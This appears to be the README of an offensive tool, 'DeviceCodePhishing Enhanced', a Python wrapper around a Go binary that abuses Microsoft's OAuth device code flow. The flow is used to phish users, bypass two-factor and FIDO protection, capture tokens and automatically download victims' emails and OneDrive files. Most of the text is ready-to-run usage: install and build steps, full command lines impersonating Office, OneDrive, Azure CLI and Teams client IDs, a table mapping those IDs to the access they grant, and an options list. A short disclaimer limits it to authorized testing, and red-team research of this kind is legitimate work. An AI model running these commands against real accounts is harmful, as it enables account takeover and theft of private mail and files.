DISCLAIMER: This tool is for educational and authorized penetration testing purposes only. Unauthorized usage is strictly discouraged and may be illegal.
DeviceCodePhishing Enhanced is an advanced phishing tool that leverages the Device Code Flow to bypass two-factor authentication, including FIDO protection. This wrapper version includes additional features for data exfiltration and comprehensive reporting.
NB: I added a DeviceCodePhishing OLD version in the repository (v1.0.1). For information about the releases, please visit this repository: https://github.com/denniskniep/DeviceCodePhishing/releases.
- script_DeviceCodePhishing: A wrapper working with the DeviceCodePhishing binary.
- Go 1.23+ (required for compilation)
- Python 3.x (required for my wrapper)
- Tested on Linux environment
If you don't have Go 1.23+ installed and want to build your own DeviceCodePhishing version, go is required:
Go is not required if you are happy with the provided binary, however, building binary is a good thing to do
# Download and install Go 1.23.4+
https://go.dev/dl/
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.23.4.linux-amd64.tar.gz
# Add to PATH (add to ~/.bashrc or ~/.zshrc)
export PATH=$PATH:/usr/local/go/bin
source ~/.bashrc # or ~/.zshrc# Download from releases
# Go to github repository and releases
https://github.com/denniskniep/DeviceCodePhishing
# Then, download the release 1.0.1
chmod +x DeviceCodePhishing-linux-amd64
# Put the binary, renamed DeviceCodePhishing, in /usr/local/bin
sudo mv DeviceCodePhishing-linux-amd64 /usr/local/bin/DeviceCodePhishing# Clone the repository
git clone https://github.com/denniskniep/DeviceCodePhishing.git
cd DeviceCodePhishing
# Compile the binary
go build -o DeviceCodePhishing .
# Install system-wide
sudo cp DeviceCodePhishing /usr/local/bin/DeviceCodePhishingThe Python wrapper (script_DeviceCodePhishing.py) automatically looks for the DeviceCodePhishing binary in the following order:
/usr/local/bin/DeviceCodePhishing(system installation)- Current directory
./DeviceCodePhishing - System PATH
You maybe need to install requests
# Install Python dependencies
pip3 install requestsIf you modify the source code in the DeviceCodePhishing/ directory:
-
Navigate to the project directory:
cd DeviceCodePhishing/ -
Update dependencies (if needed):
go mod tidy
-
Compile the project:
go build -o DeviceCodePhishing . -
Update system binary (recommended):
sudo cp DeviceCodePhishing /usr/local/bin/DeviceCodePhishing
-
Verify changes:
DeviceCodePhishing server --help
DeviceCodePhishing/
├── cmd/ # Command-line interface
│ ├── root.go # Root command
│ └── server.go # Server implementation
├── pkg/ # Core packages
│ ├── entra/ # Azure Entra ID integration
│ └── utils/ # Utility functions
├── main.go # Main entry point
├── go.mod # Go module definition
└── go.sum # Go module checksums
# Start the phishing server with default settings
python3 script_DeviceCodePhishing.pypython3 script_DeviceCodePhishing.py \
--address ":8080" \
--client-id "d3590ed6-52b3-4102-aeff-aad2292ab01c" \
--tenant "common" \
--output-file "tokens.txt" \
--report-file "rapport_outlook.json" \
--download-emails 100 \
--output-dir "./demo_exfiltration" \
--auto \
--verbosepython3 script_DeviceCodePhishing.py \
--address ":8080" \
--client-id "ab9b8c07-8f02-4f72-87fa-80105867a763" \
--tenant "common" \
--output-file "tokens.txt" \
--report-file "rapport_onedrive.json" \
--download-emails 50 \
--download-files \
--output-dir "./demo_exfiltration" \
--auto \
--verbosepython3 script_DeviceCodePhishing.py \
--address ":8080" \
--client-id "04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
--tenant "common" \
--output-file "tokens.txt" \
--report-file "rapport_azurecli.json" \
--download-emails 100 \
--download-files \
--output-dir "./demo_exfiltration" \
--auto \
--verbosepython3 script_DeviceCodePhishing.py \
--address ":8080" \
--client-id "1fec8e78-bce4-4aaf-ab1b-5451cc387264" \
--tenant "common" \
--output-file "tokens.txt" \
--report-file "rapport_teams.json" \
--download-emails 50 \
--output-dir "./demo_exfiltration" \
--auto \
--verbose| Client ID | Application | Description | Use Case |
|---|---|---|---|
d3590ed6-52b3-4102-aeff-aad2292ab01c |
Microsoft Office | Office 365 applications | Email, documents access |
ab9b8c07-8f02-4f72-87fa-80105867a763 |
OneDrive Sync Engine | File synchronization | File system access |
04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
Azure CLI | Command-line interface | Administrative access |
1fec8e78-bce4-4aaf-ab1b-5451cc387264 |
Microsoft Teams | Communication platform | Chat, files, meetings |
29d9ed98-a469-4536-ade2-f981bc1d605e |
Authentication Broker | Default broker | General authentication |
--address string Server listening address (default ":8080")
--client-id string OAuth client ID to impersonate
--tenant string Azure tenant (default "common")
--scope string OAuth scope (default "https://graph.microsoft.com/.default")
--user-agent string Custom user agent string
--output-file string File to save tokens
--report-file string JSON report output file
--download-emails int Number of emails to download (default 50)
--download-files Download OneDrive files
--output-dir string Directory for downloaded data (default "./exfiltrated_data")
--auto Auto-execute Microsoft Graph calls (after ctrl+c the server)
--verbose Enable verbose logging
--no-banner Disable banner display
--dry-run Show command without executing
If you get "DeviceCodePhishing command not found":
# Check if binary exists
ls -la /usr/local/bin/DeviceCodePhishing
# If not found, reinstall
sudo cp ./DeviceCodePhishing /usr/local/bin/DeviceCodePhishing
chmod +x /usr/local/bin/DeviceCodePhishingIf you encounter Go compilation errors:
# Check Go version (requires 1.23+)
go version
# Clean module cache
go clean -modcache
# Update dependencies
go mod tidy
# Rebuild
go build -o DeviceCodePhishing .# Fix permissions for the binary
sudo chown root:root /usr/local/bin/DeviceCodePhishing
sudo chmod 755 /usr/local/bin/DeviceCodePhishing- Educational Use Only: This tool is designed for authorized penetration testing and security research
- Legal Compliance: Ensure you have proper authorization before testing
- Responsible Disclosure: Report vulnerabilities through appropriate channels
- Data Protection: Handle collected data according to privacy regulations
- Fork the repository
- Create a feature branch
- Make your changes
- Test thoroughly
- Submit a pull request
This project is licensed under the MIT License - see the LICENSE file for details.
- Based on the original DeviceCodePhishing by Dennis Kniep
- Research on Family of Client IDs by Secureworks
- Microsoft Graph API documentation and security research community
- TokenTactics - Azure JWT manipulation
- GraphRunner - Microsoft Graph enumeration
- AADInternals - Azure AD security tools